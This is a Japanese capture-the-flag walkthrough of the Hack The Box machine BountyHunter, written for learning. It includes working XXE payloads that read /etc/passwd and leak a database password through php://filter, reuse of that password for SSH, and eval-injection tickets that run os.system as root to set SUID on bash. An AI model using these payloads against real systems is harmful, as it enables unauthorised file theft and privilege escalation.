0.はじめに
hacktheboxのBountyHunter攻略方法です。
XXEにより認証情報を含むファイルを取得するところがキーになります。
rootへの権限昇格はスクリプトファイルの解析して検証を繰り返すことになります。
1.nmapでポートスキャン
①開いているポートの確認
nmap -sT 10.10.11.100
②ポートの詳細を確認
nmap -sC -sV -sT -p 22,80 10.10.11.100
2.webサイトの調査
①webサイトにアクセス
(1)Webサイト全体
http://10.10.11.100
「BOUNTY HUNTERS」という記載がありますが、Webページの内容から特に
脆弱性に関する報告から報酬を得るサイトのようです。
(2)PORTALページ
以下のURLに遷移します。
http://10.10.11.100/portal.php
以下記載から開発中のページであることがわかります。
Portal under development. Go here to test the bounty tracker.
(3)log_submitページ
以下のURLに遷移します。
http://10.10.11.100/log_submit.php
こちらも、以下記載の「Beta」という文字列から開発中の機能と想像されます。
Bounty Report System - Beta
試しに、以下の値を入れて「Submit」をクリックしてみます。
| 項目 | 値 |
|---|---|
| Exploit Title | test1 |
| CWE | test2 |
| CVSS Score | test3 |
| Bounty Reward($) | test4 |
クリック後、「If DB were ready, would have added: 」という文字列の下に
テスト入力した文字列が表示されました。

→何か出来そうな感じがするので他の調査後に更に調べてみます。
②ディレクトリ調査
gobuster dir -u http://10.10.11.100 -w /usr/share/wordlists/dirb/common.txt
「resources」を更にチェックしてみます。
gobuster dir -u http://10.10.11.100/resources -w /usr/share/wordlists/dirb/common.txt
何も見つからなかったので直接アクセスしてみます。
http://10.10.11.100/resources
ディレクトリスティングが有効になっていてファイルが確認出来ます。
「README.txt」をクリックして参照します。
http://10.10.11.100/resources/README.txt
以下の文章から「test」というアカウントが存在するようです。
Tasks:
[ ] Disable 'test' account on portal and switch to hashed password. Disable nopass.
[X] Write tracker submit script
[ ] Connect tracker submit script to the database
[X] Fix developer group permissions
③log_submitページの追加調査
log_submitページにおいて、以下の値を入力後に「Submit」をクリックした時の動作をBurpで確認してみます。
(A)log_submitページ

(Aー1)log_submitページURL
http://10.10.11.100/log_submit.php
(Aー2)入力値
| 項目 | 値 |
|---|---|
| Exploit Title | test1 |
| CWE | test2 |
| CVSS Score | test3 |
| Bounty Reward($) | test4 |
(Bー1)POST部分
・リクエストデータ
POST /tracker_diRbPr00f314.php
・内容
Webアプリケーションの「/tracker_diRbPr00f314.php」というエンドポイントにデータを送信しています。
(Bー2)data部分
・リクエストデータ
data=PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0MTwvdGl0bGU%2BCgkJPGN3ZT50ZXN0MjwvY3dlPgoJCTxjdnNzPnRlc3QzPC9jdnNzPgoJCTxyZXdhcmQ%2BdGVzdDQ8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4%3D
・リクエストデータ(Base64でデコード)
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>test1</title>
<cwe>test2</cwe>
<cvss>test3</cvss>
<reward>test4</reward>
</bugreport>
・内容
データ部分本体(「data=」以外)を選択すると、Inspectorタブにデコード情報が表示されます。xml形式のデータをBase64でエンコードして送っていることがわかります。
3.脆弱性の調査
①XXE(XML External Entity) の概要
XML形式のデータやり取りしているので、XXEによりファイルの読み出しを試してみます。
XXE(XML External Entity)はXMLパーサーが外部エンティティを処理する際に発生する脆弱性を利用した攻撃です。攻撃者は、悪意のあるXMLデータを送信し、サーバーがこれを処理する際に、機密ファイルの読み取りやサーバー内部への不正アクセスを行うことが可能になります。
②XXE(XML External Entity) の検証
XXEで/etc/passwdファイルを以下の手順で読み出してみます。
(1)xmlファイルを作成
変更前(before.xml)
<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title>test1</title>
<cwe>test2</cwe>
<cvss>test3</cvss>
<reward>test4</reward>
</bugreport>
変更後(after.xml)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [<!ENTITY testdata SYSTEM "/etc/passwd"> ]>
<bugreport>
<title>test1</title>
<cwe>test2</cwe>
<cvss>test3</cvss>
<reward>&testdata;</reward>
</bugreport>
差分比較
diff -y before.xml after.xml
<?xml version="1.0" encoding="ISO-8859-1"?> <?xml version="1.0" encoding="ISO-8859-1"?>
> <!DOCTYPE data [<!ENTITY testdata SYSTEM "/etc/passwd"> ]>
<bugreport> <bugreport>
<title>test1</title> <title>test1</title>
<cwe>test2</cwe> <cwe>test2</cwe>
<cvss>test3</cvss> <cvss>test3</cvss>
<reward>test4</reward> | <reward>&testdata;</reward>
</bugreport> </bugreport>
(2)xmlファイルをBase64エンコードして、改行なしで出力
cat ./before.xml | base64 -w 0
cat ./after.xml | base64 -w 0
before.xmlの結果(Base64エンコード)
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0MTwvdGl0bGU+CgkJPGN3ZT50ZXN0MjwvY3dlPgoJCTxjdnNzPnRlc3QzPC9jdnNzPgoJCTxyZXdhcmQ+dGVzdDQ8L3Jld2FyZD4KCQk8L2J1Z3JlcG9ydD4K
after.xmlの結果(Base64エンコード)
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWzwhRU5USVRZIHRlc3RkYXRhIFNZU1RFTSAiL2V0Yy9wYXNzd2QiPiBdPgoJCTxidWdyZXBvcnQ+CgkJPHRpdGxlPnRlc3QxPC90aXRsZT4KCQk8Y3dlPnRlc3QyPC9jd2U+CgkJPGN2c3M+dGVzdDM8L2N2c3M+CgkJPHJld2FyZD4mdGVzdGRhdGE7PC9yZXdhcmQ+CgkJPC9idWdyZXBvcnQ+Cg==
(3)burpのDecoderタブでBase64→URLエンコード
before.xmlの結果(Base64→URLエンコード)
%50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%30%5a%58%4e%30%4d%54%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%30%5a%58%4e%30%4d%6a%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6e%52%6c%63%33%51%7a%50%43%39%6a%64%6e%4e%7a%50%67%6f%4a%43%54%78%79%5a%58%64%68%63%6d%51%2b%64%47%56%7a%64%44%51%38%4c%33%4a%6c%64%32%46%79%5a%44%34%4b%43%51%6b%38%4c%32%4a%31%5a%33%4a%6c%63%47%39%79%64%44%34%4b
after.xmlの結果(Base64→URLエンコード)
%50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%7a%77%68%52%55%35%55%53%56%52%5a%49%48%52%6c%63%33%52%6b%59%58%52%68%49%46%4e%5a%55%31%52%46%54%53%41%69%4c%32%56%30%59%79%39%77%59%58%4e%7a%64%32%51%69%50%69%42%64%50%67%6f%4a%43%54%78%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%6b%4a%50%48%52%70%64%47%78%6c%50%6e%52%6c%63%33%51%78%50%43%39%30%61%58%52%73%5a%54%34%4b%43%51%6b%38%59%33%64%6c%50%6e%52%6c%63%33%51%79%50%43%39%6a%64%32%55%2b%43%67%6b%4a%50%47%4e%32%63%33%4d%2b%64%47%56%7a%64%44%4d%38%4c%32%4e%32%63%33%4d%2b%43%67%6b%4a%50%48%4a%6c%64%32%46%79%5a%44%34%6d%64%47%56%7a%64%47%52%68%64%47%45%37%50%43%39%79%5a%58%64%68%63%6d%51%2b%43%67%6b%4a%50%43%39%69%64%57%64%79%5a%58%42%76%63%6e%51%2b%43%67%3d%3d
(4)burpのRepeaterタブでdataの内容を書き換えて実行
Responseの出力内容がdata変更前と変わらないことを確認します。
Responseの出力内容でreward欄に/etc/passwdファイルの内容が出力されます。
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
③XXE(XML External Entity) で設定ファイルの読み取り
phpファイルを指定してディレクトリ調査をすることで設定ファイルがないか調べます。
gobuster dir -u http://10.10.11.100 -w /usr/share/wordlists/dirb/common.txt -x php
db.phpというサイズ0のファイルが確認出来ます。
phpファイルのソースコードは通常非表示にしているので、XXEとphpフィルターを組み合わせることで取得できないかを先ほどと同じ(1)〜(4)の手順で試してみます。
(1)xmlファイルを作成
db.xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [<!ENTITY testdata SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php"> ]>
<bugreport>
<title>test1</title>
<cwe>test2</cwe>
<cvss>test3</cvss>
<reward>&testdata;</reward>
</bugreport>
(2)xmlファイルをBase64エンコードして、改行なしで出力
cat ./db.xml | base64 -w 0
db.xmlの結果(Base64エンコード)
PD94bWwgIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IklTTy04ODU5LTEiPz4KPCFET0NUWVBFIGRhdGEgWzwhRU5USVRZIHRlc3RkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS92YXIvd3d3L2h0bWwvZGIucGhwIj4gXT4KCQk8YnVncmVwb3J0PgoJCTx0aXRsZT50ZXN0MTwvdGl0bGU+CgkJPGN3ZT50ZXN0MjwvY3dlPgoJCTxjdnNzPnRlc3QzPC9jdnNzPgoJCTxyZXdhcmQ+JnRlc3RkYXRhOzwvcmV3YXJkPgoJCTwvYnVncmVwb3J0Pgo=
(3)burpのDecoderタブでBase64→URLエンコード
db.xmlの結果(Base64→URLエンコード)
%50%44%39%34%62%57%77%67%49%48%5a%6c%63%6e%4e%70%62%32%34%39%49%6a%45%75%4d%43%49%67%5a%57%35%6a%62%32%52%70%62%6d%63%39%49%6b%6c%54%54%79%30%34%4f%44%55%35%4c%54%45%69%50%7a%34%4b%50%43%46%45%54%30%4e%55%57%56%42%46%49%47%52%68%64%47%45%67%57%7a%77%68%52%55%35%55%53%56%52%5a%49%48%52%6c%63%33%52%6b%59%58%52%68%49%46%4e%5a%55%31%52%46%54%53%41%69%63%47%68%77%4f%69%38%76%5a%6d%6c%73%64%47%56%79%4c%33%4a%6c%59%57%51%39%59%32%39%75%64%6d%56%79%64%43%35%69%59%58%4e%6c%4e%6a%51%74%5a%57%35%6a%62%32%52%6c%4c%33%4a%6c%63%32%39%31%63%6d%4e%6c%50%53%39%32%59%58%49%76%64%33%64%33%4c%32%68%30%62%57%77%76%5a%47%49%75%63%47%68%77%49%6a%34%67%58%54%34%4b%43%51%6b%38%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%4a%43%54%78%30%61%58%52%73%5a%54%35%30%5a%58%4e%30%4d%54%77%76%64%47%6c%30%62%47%55%2b%43%67%6b%4a%50%47%4e%33%5a%54%35%30%5a%58%4e%30%4d%6a%77%76%59%33%64%6c%50%67%6f%4a%43%54%78%6a%64%6e%4e%7a%50%6e%52%6c%63%33%51%7a%50%43%39%6a%64%6e%4e%7a%50%67%6f%4a%43%54%78%79%5a%58%64%68%63%6d%51%2b%4a%6e%52%6c%63%33%52%6b%59%58%52%68%4f%7a%77%76%63%6d%56%33%59%58%4a%6b%50%67%6f%4a%43%54%77%76%59%6e%56%6e%63%6d%56%77%62%33%4a%30%50%67%6f%3d
(4)burpのRepeaterタブでdataの内容を書き換えて実行
先ほどと同様に、Responseの出力内容でreward欄にphpフィルターで指定したbase64の値でファイル内容が出力されます。
db.php(base64)
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
base64からのデコードはburpのDecoderから行います。

db.php(base64デコード)
<?php
// TODO -> Implement login system with the database.
$dbserver = "localhost";
$dbname = "bounty";
$dbusername = "admin";
$dbpassword = "m19RoAU0hP41A1sTsq6K";
$testuser = "test";
?>
4.sshで接続(developmentユーザ)
①取得したパスワードでssh接続
DB接続のパスワード「m19RoAU0hP41A1sTsq6K」を固定としてユーザ名は「/etc/passwd」のログインシェルを持つユーザを総当たりでSSH接続を試します。(リバースブルートフォース)
対象ユーザ
root
development
最終的に以下の組み合わせで成功します。
ssh development@10.10.11.100
パスワード:m19RoAU0hP41A1sTsq6K
②userフラグの取得
cat /home/development/user.txt
5.root権限取得
①developmentユーザのホームディレクトリ調査
cd ~
ls -la
「contract.txt」というファイルが気になるので確認します。
cat contract.txt
内容
Hey team,
I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.
This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.
I set up the permissions for you to test this. Good luck.
-- John
内部ツールに権限を付与したから確認してという内容のようです。
②特権ユーザで実行できるコマンドの調査
sudo -l
rootとして以下を実行出来るになっており「contract.txt」で示されていた内部ツールだと判断できます。
/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
③root権限で実行出来るファイルの調査
(1)ファイル権限調査
ls -l /opt/skytrain_inc/ticketValidator.py
ファイルの編集は出来ないので、スクリプトの内容を調査します。
(2)ファイル内容調査
cat /opt/skytrain_inc/ticketValidator.py
#Skytrain Inc Ticket Validation System 0.1
#Do not distribute this file.
def load_file(loc):
if loc.endswith(".md"):
return open(loc, 'r')
else:
print("Wrong file type.")
exit()
def evaluate(ticketFile):
#Evaluates a ticket to check for ireggularities.
code_line = None
for i,x in enumerate(ticketFile.readlines()):
if i == 0:
if not x.startswith("# Skytrain Inc"):
return False
continue
if i == 1:
if not x.startswith("## Ticket to "):
return False
print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
continue
if x.startswith("__Ticket Code:__"):
code_line = i+1
continue
if code_line and i == code_line:
if not x.startswith("**"):
return False
ticketCode = x.replace("**", "").split("+")[0]
if int(ticketCode) % 7 == 4:
validationNumber = eval(x.replace("**", ""))
if validationNumber > 100:
return True
else:
return False
return False
def main():
fileName = input("Please enter the path to the ticket file.\n")
ticket = load_file(fileName)
#DEBUG print(ticket)
result = evaluate(ticket)
if (result):
print("Valid ticket.")
else:
print("Invalid ticket.")
ticket.close
main()
(3)ファイル処理内容
以下の入力ファイルを例に処理内容を記載します。
入力ファイル例
# Skytrain Inc
## Ticket to Anywhere
Some text here
__Ticket Code:__
**11+os.system("chmod u+s /bin/bash")**
処理内容
1.入力されたファイル(「〜.md」)を読み込み
2.ファイルの1行目が「# Skytrain Inc」でなければ終了
3.ファイルの2行目が「## Ticket to 」でなければ終了
4.ファイルの3行目以降で「__Ticket Code:__」があれば次の行をチケット行として処理する
チケット行で以下の処理をする
4ー1.チケット行が「**」で始まっていなければ終了
4ー2.チケット行から「**」を取り除く 11+os.system("chmod u+s /bin/bash")
4ー3.チケットコードとして「+」の左側を取得 11
4ー4.チケットコードが7で割って4が余らなければ終了
4ー5.検証番号として「11+os.system("chmod u+s /bin/bash")」の文字列をevalで処理した値を設定
4ー6.検証番号が100より大きければ有効として終了
④root権限で実行出来るファイルの検証
(1)whoamiがrootとして実行されることの検証
以下のテストファイルを作成
コマンド
nano test.md
内容
# Skytrain Inc
## Ticket to Anywhere
test
__Ticket Code:__
**11+os.system("whoami")**
スクリプト実行
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/home/development/test.md
以下のエラーが発生しました。
Traceback (most recent call last):
File "/opt/skytrain_inc/ticketValidator.py", line 52, in <module>
main()
File "/opt/skytrain_inc/ticketValidator.py", line 45, in main
result = evaluate(ticket)
File "/opt/skytrain_inc/ticketValidator.py", line 34, in evaluate
validationNumber = eval(x.replace("**", ""))
File "<string>", line 1, in <module>
NameError: name 'os' is not defined
「NameError: name 'os' is not defined」なので、osを__import__('os')として組み込み関数に変えてみます。
(2)whoamiがrootとして実行されることの検証(エラー対応後)
以下のテストファイルを作成
コマンド
nano test2.md
内容
# Skytrain Inc
## Ticket to Anywhere
test
__Ticket Code:__
**11+__import__('os').system("whoami")**
スクリプト実行
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/home/development/test2.md
rootとして実行出来ることが確認出来ました。
(3)rootフラグを取得出来ることの検証
この時点でrootフラグを取得出来ることを確認します。
以下のテストファイルを作成
コマンド
nano test3.md
内容
# Skytrain Inc
## Ticket to Anywhere
test
__Ticket Code:__
**11+__import__('os').system("cat /root/root.txt")**
スクリプト実行
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/home/development/test3.md
想定通り、このタイミングでrootフラグを取得できました。
⑤root権限取得
(1)bashにSUIDを付与
以下のテストファイルを作成
コマンド
nano bash.md
内容
# Skytrain Inc
## Ticket to Anywhere
test
__Ticket Code:__
**11+__import__('os').system("chmod +s /bin/bash")**
スクリプト実行
sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
/home/development/bash.md
(2)bashにSUIDが付与されたことを確認
ls -l /bin/bash
(3)root権限取得
bash -p
⑥rootフラグの取得
cat /root/root.txt
6.おわりに
XXEと最後のroot権限取得でもそうですが検証を繰り返すのが大切だと教えてくれるいいマシンでした。
今後の記事構成に活かすため、今回は段落分けを増やしています。









































